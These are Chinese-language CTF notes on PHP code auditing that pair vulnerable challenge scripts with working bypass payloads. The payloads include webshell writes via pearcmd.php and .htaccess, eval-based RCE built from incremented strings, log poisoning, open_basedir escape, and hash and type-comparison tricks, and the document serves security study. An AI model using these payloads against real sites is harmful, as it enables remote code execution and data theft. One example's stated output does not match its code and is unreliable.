php代码审计做题
反斜杠被过滤,利用cd回到根目录
<?php
error_reporting(0);
if(isset($_GET["cmd"])){
if(preg_match('/et|echo|cat|tac|base|sh|more|less|tail|vi|head|nl|env|fl|\||;|\^|\'|\]|"|<|>|`|\/| |\\\\|\*/i',$_GET["cmd"])){
echo "Don't Hack Me";
}else{
system($_GET["cmd"]);
}
}else{
show_source(__FILE__);
}
paylaod:
cd%09..%0Acd%09..%0Acd%09..%0A 利用三次执行cd命令回到根目录下,从而绕过了正则匹配对/的过滤
读取payload:
cd%09..%0Acd%09..%0Acd%09..%0Asort%09ffff?lllaaaaggggg
cat tac不能用,可以利用其他的函数例如uniq,sort等
通过?可以绕过对关键字符的过滤
例如flag->fl?
利用pearcmd.php命令进行getshell(文件包含)
<?php
error_reporting(0);
highlight_file(__FILE__);
//Can you get shell? RCE via LFI if you get some trick,this question will be so easy!
if(!preg_match("/base64|rot13|filter/i",$_GET['file']) && isset($_GET['file'])){
include($_GET['file'].".php");
}else{
die("Hacker!");
}
正则匹配掉了base rot13 filter 所以不能直接去利用为协议去读取flag文件,而且也不知道flag文件的位置,所以只能进行getshell
这里利用pearcmd.php命令的config-create进行getshell
config-create有两个参数,第一个参数作为文件内容写入到第二个参数的文件中
所以我们可以利用这个性质进行getshell
paylaoad:
GET: /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=eval($_POST[1])?>+/tmp/hello.php
然后去访问这个文件进行命令执行
GET: /index.php?&file=/tmp/hello
POST: 1=system('cat /f*');
伪随机数种子爆破
<?php
highlight_file(__FILE__);
error_reporting(0);
include("seed.php");
//mt_srand(*********);
echo "Hint: ".mt_rand()."<br>";
if(isset($_POST['guess']) && md5($_POST['guess']) === md5(mt_rand())){
if(!preg_match("/base|\.\./i",$_GET['file']) && preg_match("/NewStar/i",$_GET['file']) && isset($_GET['file'])){
//flag in `flag.php`
include($_GET['file']);
}else{
echo "Baby Hacker?";
}
}else{
echo "No Hacker!";
hint:1219893521
isset($_POST['guess']) && md5($_POST['guess']) === md5(mt_rand())
这里我们要爆破出这个伪随机数的种子
然后找到合适的随机数进行绕过
php_mt_seed – MT_RAND()种子饼干 (openwall.com)随机数种子爆破工具
得到伪随机数种子
1145146
然后进行随机数生成找到合适随机数
<?php
mt_srand(1145146);
echo mt_rand()."</br>";
echo mt_rand()."</br>";
echo mt_rand()."</br>";
最终找到1202031004
但是正则匹配把base64过滤掉了,所以这里可以使用rot13编码,同时正则匹配要求在file中匹配到newstar
preg_match("/NewStar/i",$_GET['file'])
所以构造payload:
POST: guess=1202031004
GET: /?file=php://filter/string.rot13/newstar/resource=flag.php
例题:
VvXtoPqSDI
抽奖,就是那么枯燥且无味,给你NSSCTF{925c19db-e2bd-4893-8194-721e0a02fa83}
<?php
#这不是抽奖程序的源代码!不许看!
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}
mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";
if(isset($_POST['num'])){
if($_POST['num']===$str){
echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>";
}
else{
echo "<p id=flag>没抽中哦,再试试吧</p>";
}
}
show_source("check.php");
mt_rand()这个函数来说,它本质上来说是一个伪随机,因此如果它的种子是固定的,那么出现的随机数也是固定的
所以我们可以根据给出的随机数的通过特性爆出随机数,这里爆出随机数后将其转换成python能够识别的阵列
exp:
<?php
$str1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str2 = "VvXtoPqSDI";
$len = strlen($str1)-1;
for($i=0;$i<strlen($str2);$i++){
for($j=0;$j<=$len;$j++){
if($str1[$j] == $str2[$i]){
echo "$j $j 0 $len ";
break;
}
}
}
?>
使用工具爆破种子:
然后根据随机数种子生成随机数
exp:
<?php
mt_srand(464527172); //自己的种子seed
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str = '';
$len1 = 20;
for($i=0;$i<$len1;$i++){
$str .= substr($str_long1,mt_rand(0,strlen($str_long1)-1),1);
}
echo $str;
?>
自增逃逸
<?php
error_reporting(0);
if (isset($_GET['hint'])) {
highlight_file(__FILE__);
}
if (isset($_POST['rce'])) {
$rce = $_POST['rce'];
if (strlen($rce) <= 120) {
if (is_string($rce)) {
if (!preg_match("/[!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\]/", $rce)) {
eval($rce);
} else {
echo("Are you hack me?");
}
} else {
echo "I want string!";
}
} else {
echo "too long!";
}
}
这道题把大多数可用字符给过滤了,而且把英文字符都给过滤了,所以
异或,或,这些绕过方法都不能使用,但是可以使用自增
自增的话,由于英文字符都给过滤完了,所以要想办法构造出来英文字符
这里要用到php的一个特性
这里主要用到的是在php中如果强制连接数组和字符串的话,数据将被转换成字符串Array,取字符串的值,我们就可以得到一个字母,从而进行自增.
自增也就是变量自增
首先查看可用字符
<?php
for($a = 0; $a < 256; $a++){
if (!preg_match("/[!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\]/", chr($a))){
echo chr($a)." ";
}
}
?>
基本都给过滤了,但是这些字符还可以用
$ ( ) + , . 0 1 2 3 4 5 6 7 8 9 ; = [ ] _ { }
利用php特性构造出Array
<?php
$_=[];
$_=''.[];//返回一个值array
通过去array字符串值,进行自增从而构造出可以执行的shell
$_=[];$_=''.[];
$_=$_[0];//A
$_++;//B
$_++;//C
$_++;//D
$_++;//E
$__=$_;
$_++;//F
$___=++$_;//G
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;//Q
$_++;//R
$_++;//S
$____=++$_;//T
$_=_.$___.$__.$____;//_GET
$_=$$_{1};
构造出后进行url编码。
<?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{
$wllm = $_GET['wllm'];
$blacklist = [' ','\^','\~','\|'];
foreach ($blacklist as $blackitem)
{
if (preg_match('/' . $blackitem . '/m', $wllm)) {
die("小伙子只会异或和取反?不好意思哦LTLT说不能用!!");
}}
if(preg_match('/[a-zA-Z0-9]/is',$wllm))
{
die("Ra'sAlGhul说用字母数字是没有灵魂的!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
}
else
{
echo "蔡总说:注意审题!!!";
}
异或和取反都被过滤了,所以这里可以使用自增
paylaod:
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);
构造出:assert($_POST[_]);
然后post输入
_=file_put_contents('1.php',"<?php print_r(ini_get('open_basedir').'<br>'); mkdir('test'); chdir('test'); ini_set('open_basedir','..'); chdir('..'); chdir('..'); chdir('..'); ini_set('open_basedir','/'); echo file_get_contents('/flag'); print(1);?> ");
然后去访问这个文件1.php
日志文件包含漏洞
<?php
//WEB手要懂得搜索
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|flag|data|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=/i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}
正则匹配把php伪协议能用的都给过滤,所以直接使用php伪协议进行包含读取flag文件时不行的
这里可以使用日志文件包含
通过产生报错,可以看到题目使用的服务器是nginx,访问默认日志文件
通过返回信息可以看到日志文件记录了传入参数的值以及user-agent的值
但是由于file通过正则匹配过滤了php所以我们无法在url参数里面直接写入木马,但是user-agent位置并没有进行过滤,所以我们可以在这里进行注入
可以通过包含这个日志文件,然后在user-agent报文里面添加木马,进行注入
通过执行phpinfo();发现以及执行成功。
create_function函数代码注入
<?php
//sorry , here is true last level
//^_^
error_reporting(0);
include "str.php";
$a = $_GET['a'];
$b = $_GET['b'];
if(preg_match('/^[a-z0-9_]*$/isD',$a)){
show_source(__FILE__);
}
else{
$a('',$b);
}
这个题目没有create_function函数,但是我们可以把参数a的值赋值为create_function函数在参数b进行代码注入
payload:
\create_function&b=}phpinfo();//
数组绕过sha1强碰撞,弱类型比较
<?php
highlight_file(__FILE__);
include "./flag.php";
include "./result.php";
if(isset($_GET['aaa']) && strlen($_GET['aaa']) < 20){
$aaa = preg_replace('/^(.*)level(.*)$/', '${1}<!-- filtered -->${2}', $_GET['aaa']);
if(preg_match('/pass_the_level_1#/', $aaa)){ //%0a绕过
echo "here is level 2";
if (isset($_POST['admin']) and isset($_POST['root_pwd'])) {
if ($_POST['admin'] == $_POST['root_pwd'])
echo '<p>The level 2 can not pass!</p>';
// START FORM PROCESSING
else if (sha1($_POST['admin']) === sha1($_POST['root_pwd'])){ //sha1强碰撞数组绕过
echo "here is level 3,do you kown how to overcome it?";
if (isset($_POST['level_3'])) {
$level_3 = json_decode($_POST['level_3']);
if ($level_3->result == $result) {//弱类型比较
echo "success:".$flag;
}
else {
echo "you never beat me!";
}
}
else{
echo "out";
}
}
else{
die("no");
}
// perform validations on the form data
}
else{
echo '<p>out!</p>';
}
}
else{
echo 'nonono!';
}
echo '<hr>';
}
base_convert函数
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}
限制了长度
过滤了空格 \t \r \n ' ` [ ]
给了函数白名单,字符串白名单
首先我们先来了解以下base_convert函数
定义和用法
base_convert() 函数在任意进制之间转换数字。
语法
base_convert(number,frombase,tobase)
参数 描述
number 必需。原始值。
frombase 必需。数字原来的进制。
tobase 必需。要转换的进制。
说明
返回一个字符串,包含 number 以 tobase 进制的表示。number 本身的进制由 frombase 指定。frombase 和 tobase 都只能在 2 和 36 之间(包括 2 和 36)。高于十进制的数字用字母 a-z 表示,例如 a 表示 10,b 表示 11 以及 z 表示 35。
实例:
<?php
$oct = "0031";
$dec = base_convert($oct,8,10);
echo "八进制的 $oct 等于十进制的 $dec。";
?>
输出:八进制的 364 等于十六进制的 f4。
很神奇的一点,构造的高进制数字会当作字符串处理,而不是当作数字处理。
所以我们可以将通过将10进制的数转做36进制就能够绕过匹配构造出我们想要的代码
?c=$cos=base_convert(37907361743,10,36)(dechex(1598506324));($$cos){1}(($$cos){2})(传入1,2是因为单一一个变量是无法执行的,这里利用php7的可变函数特性进行利用)
构造出_GET{1}_Get{2}执行命令
?c=$cos=base_convert(37907361743,10,36)(dechex(1598506324));($$cos){1}(($$cos){2})&1=system&2=ls;
无参rce
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
payload:?exp=show_source(next(array_reverse(scandir(next(each(str_split(spl_autoload_extensions())))))));
prce_replace函数/e模式下的代码执行
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
payload:
\S*=${getFlag()}&cmd=system('ls /');
\S*是为了能够触发函数
\S*是对任何字符都进行匹配
触发前:preg_replace( '/(' . $re . ')/ei','strtolower("\\1")', $str);
触发后:preg_replace('/(S*)/ie','strtolower("${getflag()}")','${getflag()}')
最终会执行getflag()函数
那么就可以利用getflag()函数里面的cmd进行命令执行
先看一下prce_replace的代码执行
<?php
preg_replace('/(.*)/ei', 'strtolower("\\1")', ${phpinfo()});
本地测试发现phpinfo()成功执行了
这是因为prec_replace函数匹配到了phpinfo(),由于函数处于/e模式下,所以会造成phpinfo()代码执行
利用.htaceess文件进行代码执行
<?php
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nHello, world");
?>
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
这里对代码块进行了过滤,所以不能直接写入一个php文件,所以我们可以通过写入一个.htaccess文件进行绕过
把.htaccess加载到php文件的前面,这边的话以注释的方法来写shell
php_value auto_append_file .htaccess
#<?php phpinfo();
虽然过滤了file,但我们可以用\来绕过,#应该是.hatccess文件特有的写入形式,没有的话会直接报错500
php_value auto_prepend_fil\
e .htaccess
#<?php system('cat /fla'.'g');?>\
末尾加个\是为了转义\n,如果不加就会变为下面这种,不符合.htaccess的规则
php_value auto_prepend_fil\
e .htaccess
#<?php system('cat /fla'.'g');?>
Hello, world
在末尾价格反斜杠会把\n前面的\给转义掉,这样就变为了如下这样:
php_value auto_prepend_fil\
e .htaccess
#<?php system('cat /fla'.'g');?>nHello, world
payload:?filename=.htaccess&content=php_value auto_prepend_fil\
e .htaccess
#<?php system('ls');?>\
编码后:
?filename=.htaccess&content=php_value%20auto_prepend_fil%5C%0Ae%20.htaccess%0A%23%3C%3Fphp%20system('ls%20/')%3B%3F%3E%5C
数组绕过和hash_hmac函数的特性
<?php
if (empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])) {
die();
}
$clandestine = getenv("clandestine");
if (isset($_POST['White-cat-monitor']))
$clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);
$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);
if ($hh !== $_POST['Black-Cat-Sheriff']) {
die();
}
echo exec("nc" . $_POST['One-ear'])
分析:第一个if判断传入的两个参数Black-Cat-Sheriff和One-ear是否为空
第二个if判断是否传入参数White-cat-monitor,进行了两次hash加密
第一次密钥是环境变量,第二次环境变量是第一次加密的结果
第三个if是判断加密值和我们输入参数是否相同
hash_hmac函数:
hash_hmac - 使用 HMAC 方法生成带有密钥的哈希值
版本支持
PHP4 PHP5 PHP7
不支持 V5.1.2+支持 支持
7.2.0 不再支持非加密的哈希函数(adler32,crc32,crc32b,fnv132,fnv1a32,fnv164,fnv1a64,joaat)。
语法
hash_hmac( string $algo , string $data , string $key [, bool $raw_output = FALSE ] )
hash_hmac() 使用 HMAC 方法生成带有密钥的哈希值
参数
参数 必需的 描述
algo 是 要使用的哈希算法名称,例如:"md5","sha256","haval160,4" 等。 如何获取受支持的算法清单,请参见 hash_hmac_algos() 函数。
data 是 要进行哈希运算的消息。
key 是 使用 HMAC 生成信息摘要时所使用的密钥。
raw_output 否 设置为 TRUE 输出原始二进制数据, 设置为 FALSE 输出小写 16 进制字符串。
hash_hmac函数特性漏洞:
如果 data是数组,就会返回错误,返回 NULL,这样就绕过了我们不知道环境变量的问题
所以最后的加密结果也是可以预见的
payload:
White-cat-monitor[]=1
&One-ear=123;cat flag.php
&Black-Cat-Sheriff=7efffe428751e95b44dde414dbe2fb37d1fcf44887881dd0c179fb7f7ddbd075
加密:
<?php
$clandestine = hash_hmac('sha256', array(), 'abc');
$hh = hash_hmac('sha256', '123;cat flag.php', $clandestine);
echo $hh;
# 7efffe428751e95b44dde414dbe2fb37d1fcf44887881dd0c179fb7f7ddbd075
变量覆盖,数组绕过,$_REQUEST, $_SERVER
<?php
highlight_file(__FILE__);
error_reporting(0);
if($_REQUEST){
foreach ($_REQUEST as $key => $value) {
if(preg_match('/[a-zA-Z]/i', $value)) die('waf..');
}
}
if($_SERVER){
if(preg_match('/yulige|flag|nctf/i', $_SERVER['QUERY_STRING'])) die('waf..');
}
if(isset($_GET['yulige'])){
if(!(substr($_GET['yulige'], 32) === md5($_GET['yulige']))){ //日爆md5!!!!!!
die('waf..');
}else{
if(preg_match('/nctfisfun$/', $_GET['nctf']) && $_GET['nctf'] !== 'nctfisfun'){
$getflag = file_get_contents($_GET['flag']);
}
if(isset($getflag) && $getflag === 'ccc_liubi'){
include 'flag.php';
echo $flag;
}else die('waf..');
}
}
?>
分析:
if($_REQUEST){
foreach ($_REQUEST as $key => $value) {
if(preg_match('/[a-zA-Z]/i', $value)) die('waf..');
}
$_REQUEST会·获取$_REQUEST可以获取传过来的get、post参数还有cookie的值,但是$_REQUEST允许get和post同时传入参数,但是当同时传入参数时如果变量名相同,默认post的数据会覆盖get到的数据。这样就可以绕过。
变量覆盖本地测试:
测试代码:
<?php
show_source(__FILE__);
if($_REQUEST){
foreach ($_REQUEST as $key => $value) {
if(preg_match('/[a-zA-Z]/i', $value)) die('waf..');
}
}
$flag=$_GET['flag'];
echo $flag;
?>
这样就绕过成功了
第二个正则绕过:
if($_SERVER){
if(preg_match('/yulige|flag|nctf/i', $_SERVER['QUERY_STRING'])) die('waf..');
}
会匹配参数中出现的正则匹配过滤的值,可以编码绕过
if(isset($_GET['yulige'])){
if(!(substr($_GET['yulige'], 32) === md5($_GET['yulige']))){ //日爆md5!!!!!!
die('waf..');
}
这个if判断的是参数传入的值加密前后是否一样
这里可以采用数组绕过数组加密为null这样就可以绕过了
if(isset($getflag) && $getflag === 'ccc_liubi'){
include 'flag.php';
echo $flag;
}else die('waf..');
分析:判断传入的参数中是否含有ccc_liubi可以使用data为协议,但是由于要编码所以要使用
data://text/plain;charset=unicode,ccc_liubi,使用unicode编码
payload:
?%79ulige[]=&nct%66=Nnct%66isfun&%66lag=data://text/plain;charset=unicode,ccc_liubi
post:nctf=123&flag=1
<?php
if(isset($_POST['cmd'])){
$code = $_POST['cmd'];
if(preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/ixm',$code)){
die('<script>alert(\'Try harder!\');history.back()</script>');
}else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){
@eval($code);
die();
}
} else {
highlight_file(__FILE__);
var_dump(ini_get("disable_functions"));
}
?>
分析:
第一个if对传入的数据进行正则匹配,过滤了数字字母还有一大堆字符
测试还有那些字符
<?php
for($i=1;$i<127;$i++){
//print($i);
if(!preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/ixm',chr($i))){
echo(chr($i));
}
//print(chr($i));
}
#!#%()*.:;<@[\]_{}~
if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)
第二个if是无参rce的正则匹配
所以我们只能是用无参函数。
下面是一些无参函数的应用:
call_user_func
这是一个类似特殊的调用函数,把第一个参数作为回调函数调用,也就是用另一种方式进行参数传递
测试代码:
<?php
function nowamagic($a,$b)
{
echo $a;
echo $b;
}
call_user_func('nowamagic', "111","222");
call_user_func('nowamagic', "333","444");
//显示 111 222 333 444
?>
getallheaders()
获得所有 HTTP 变量值
(50条消息) SCTF2021__rceme_Sk1y的博客-CSDN博客
php为协议input改变变量值
<?php
include 'flag.php';
extract($_GET);
if (isset($wsf)) {
$xmm = trim(file_get_contents($zm));
if ($xmm == $wsf) {
if (!empty($xlq)) {
$xw = trim(file_get_contents($fn));
if ($xlq === $xw) {
echo "<p>$flag</p>";
} else {
echo '<p>no no no </p>';
}
} else 'You cant do that!!';
} else {
echo 'hacker!!';
}
} else {
highlight_file(__FILE__);
}
?>
不可见字符,array_search 与 is_array绕过
<?php
error_reporting(0);
highlight_file(__FILE__);
include "k1y.php";
include "fl4g.php";
$week_1 = false;
$week_2 = false;
$getUserID = @$_GET['user'];
$getpass = (int)@$_GET['pass'];
$getmySaid = @$_GET['mySaid'];
$getmyHeart = @$_GET['myHeart'];
$data = @$_POST['data'];
$verify =@$_POST['verify'];
$want = @$_POST['want'];
$final = @$_POST['final'];
if("Welcom"==0&&"T0"==0&&"1he"==1&&"HNCTF2022"==0)
echo "Welcom T0 1he HNCTF2022<BR>";
if("state_HNCTF2022" == 1) echo $hint;
else echo "HINT? NoWay~!<BR>";
if(is_string($getUserID))
$user = $user + $getUserID; //u5er_D0_n0t_b3g1n_with_4_numb3r
if($user == 114514 && $getpass == $pass){
if (!ctype_alpha($getmySaid))
die();
if (!is_numeric($getmyHeart))
die();
if(md5($getmySaid) != md5($getmyHeart)){
die("Cheater!");
}
else
$week_1 = true;
}
if(is_array($data)){
for($i=0;$i<count($data);$i++){
if($data[$i]==="Probius") exit();
$data[$i]=intval($data[$i]);
}
if(array_search("Probius",$data)===0)
$week_2 = true;
else
die("HACK!");
}
if($week_1 && $week_2){
if(md5($data)===md5($verify))
// HNCTFWelcome to
if ("hn" == $_GET['hn'] &+!!& " Flag!ctf" == $_GET[LAGctf]) { //HN! flag!! F
if(preg_match("/php|\fl4g|\\$|'|\"/i",$want)Or is_file($want))
die("HACK!");
else{
echo "Fine!you win";
system("cat ./$want");
}
}
else
die("HACK!");
}
?>
分析:当两个week等于true是才能进入system
第一个week
if(is_string($getUserID))
$user = $user + $getUserID; //u5er_D0_n0t_b3g1n_with_4_numb3r
if($user == 114514 && $getpass == $pass){
if (!ctype_alpha($getmySaid))
die();
if (!is_numeric($getmyHeart))
die();
if(md5($getmySaid) != md5($getmyHeart)){
die("Cheater!");
}
else
$week_1 = true;
}
if(is_string($getUserID))
$user = $user + $getUserID; //u5er_D0_n0t_b3g1n_with_4_numb3r
第一个if对传入的getuserid进行判断是否为字符串
然后会对传入的user进行拼接将user和getuserid拼接在一起
if($user == 114514 && $getpass == $pass)
第二个if判断user是否等于114514和判断传入的getpas是否和环境变量pass相同
if (!ctype_alpha($getmySaid))
判断传入的getmysaid是否为字母
if (!is_numeric($getmyHeart))
检查传入的是否为数字
if(md5($getmySaid) != md5($getmyHeart))
判断传入的getmysaid和getmyheart是否相同
这里getmysaid和getmyheart可以使用加密后相同的md5和字符串
paylaod:?user=114514&mySaid=TUFEPMC&myHeart=1586264293
第二个week
if(is_array($data)){
for($i=0;$i<count($data);$i++){
if($data[$i]==="Probius") exit();
$data[$i]=intval($data[$i]);
}
if(array_search("Probius",$data)===0)
$week_2 = true;
else
die("HACK!");
}
if(is_array($data)){
检查data是否为空
for($i=0;$i<count($data);$i++){
if($data[$i]==="Probius") exit();
$data[$i]=intval($data[$i]);
}
对data进行遍历检查是否含有Probius有的话推出并去整值
if(array_search("Probius",$data)===0)
$week_2 = true;
搜索data中是否含有键值Probius,有的话返回其键名,当返回的键名为0的时候第二个week为true
构造payload:data%5B%5D=&verify%5B%5D=
array_search 与 is_array绕过
is_array:判断传入的是不是一个数组,array_search(x,$数组):在数组中寻找与指定值(x)相等的值,array_search函数 类似
<?php
if(!is_array($_GET['test'])){exit();}
$test=$_GET['test'];
for($i=0;$i<count($test);$i++){
if($test[$i]==="admin"){
echo "error";
exit();
}
$test[$i]=intval($test[$i]);
}
if(array_search("admin",$test)===0){
echo "flag";
}
else{
echo "false";
}
?>
传入的是不是数组,然后循环遍历数组中的每个值,并且数组中的每个值不能和admin相等,并且将每个值转化为int类型,再判断传入的数组是否有admin,有则返回flag
构造 test []=0
在数组test中找到了与admin相等的值0,所以=0,成功的输出flag
mixed array_search ( mixed $needle , array $haystack [, bool $strict = false ] )
array_search函数 类似于==,当然如果第三个参数为true则就不能绕过。
needle,haystack必需,strict可选 函数判断haystack中的值是存在needle,存在则返回该值的键值 第三个参数默认为false,如果设置为true则会进行严格过滤
if(md5($data)===md5($verify))
构造:data%5B%5D=&verify%5B%5D=(data[]=&verify[]=)
data和verify数组都为空,md5加密后还是为空,所以就可以绕过这个强类型比较
测试代码:
<?php
highlight_file(__FILE__);
$Username[]='0esdsdsxcz';
$password[]="0e1233";
if (md5($Username) ===md5($password)){
echo "success";
}else{
echo "NO";
}
https://blog.csdn.net/weixin_45605341/article/details/109038848